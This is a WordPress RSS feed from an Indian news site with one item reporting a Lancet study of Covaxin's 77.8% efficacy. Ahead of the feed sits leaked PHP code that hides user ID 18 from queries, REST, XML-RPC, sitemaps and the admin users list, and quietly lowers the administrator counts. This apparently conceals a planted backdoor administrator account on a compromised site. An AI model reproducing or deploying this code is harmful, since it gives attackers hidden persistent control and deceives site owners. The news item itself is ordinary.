add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Phase 3 Archives &#8211; The Edge Media</title>
	<atom:link href="https://theedgemedia.in/tag/phase-3/feed" rel="self" type="application/rss+xml" />
	<link>https://theedgemedia.in/tag/phase-3</link>
	<description>Another Look At Your Day</description>
	<lastBuildDate>Fri, 12 Nov 2021 18:03:10 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png</url>
	<title>Phase 3 Archives &#8211; The Edge Media</title>
	<link>https://theedgemedia.in/tag/phase-3</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>As per a peer-reviewed Lancet study, the efficacy of covaxin is 77.8%</title>
		<link>https://theedgemedia.in/as-per-a-peer-reviewed-lancet-study-the-efficacy-of-covaxin-is-77-8</link>
					<comments>https://theedgemedia.in/as-per-a-peer-reviewed-lancet-study-the-efficacy-of-covaxin-is-77-8#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Fri, 12 Nov 2021 18:03:10 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Medical & Health]]></category>
		<category><![CDATA[Bharat biotech]]></category>
		<category><![CDATA[Covaxin]]></category>
		<category><![CDATA[Indian Council of Medical Research]]></category>
		<category><![CDATA[Lancet study]]></category>
		<category><![CDATA[peer-reviewed]]></category>
		<category><![CDATA[Phase 3]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=24841</guid>

					<description><![CDATA[<p>The interim results of a Phase 3 study of Covaxin, an Indian vaccine developed by Bharat Biotech and the Indian Council of Medical Research, were peer-reviewed and published in The Lancet journal on Friday. According to the study, two doses of the vaccine provide 77.8% protection against symptomatic Covid.  The efficacy data was disclosed by [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/as-per-a-peer-reviewed-lancet-study-the-efficacy-of-covaxin-is-77-8">As per a peer-reviewed Lancet study, the efficacy of covaxin is 77.8%</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The interim results of a Phase 3 study of Covaxin, an Indian vaccine developed by Bharat Biotech and the Indian Council of Medical Research, were peer-reviewed and published in The Lancet journal on Friday. According to the study, two doses of the vaccine provide 77.8% protection against symptomatic Covid.  The efficacy data was disclosed by Bharat Biotech in a statement in July, but the studies&#8217; results were not published in a peer-reviewed publication.</p>
<p>&nbsp;</p>
<p>According to the Lancet study, the vaccination produces a strong antibody response. There were no serious vaccine-related adverse events or deaths among the trial participants. The bulk of the side effects, such as headaches, weariness, fever, and injection site soreness, were minor and occurred within seven days following immunization.</p>
<p>The post <a href="https://theedgemedia.in/as-per-a-peer-reviewed-lancet-study-the-efficacy-of-covaxin-is-77-8">As per a peer-reviewed Lancet study, the efficacy of covaxin is 77.8%</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/as-per-a-peer-reviewed-lancet-study-the-efficacy-of-covaxin-is-77-8/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>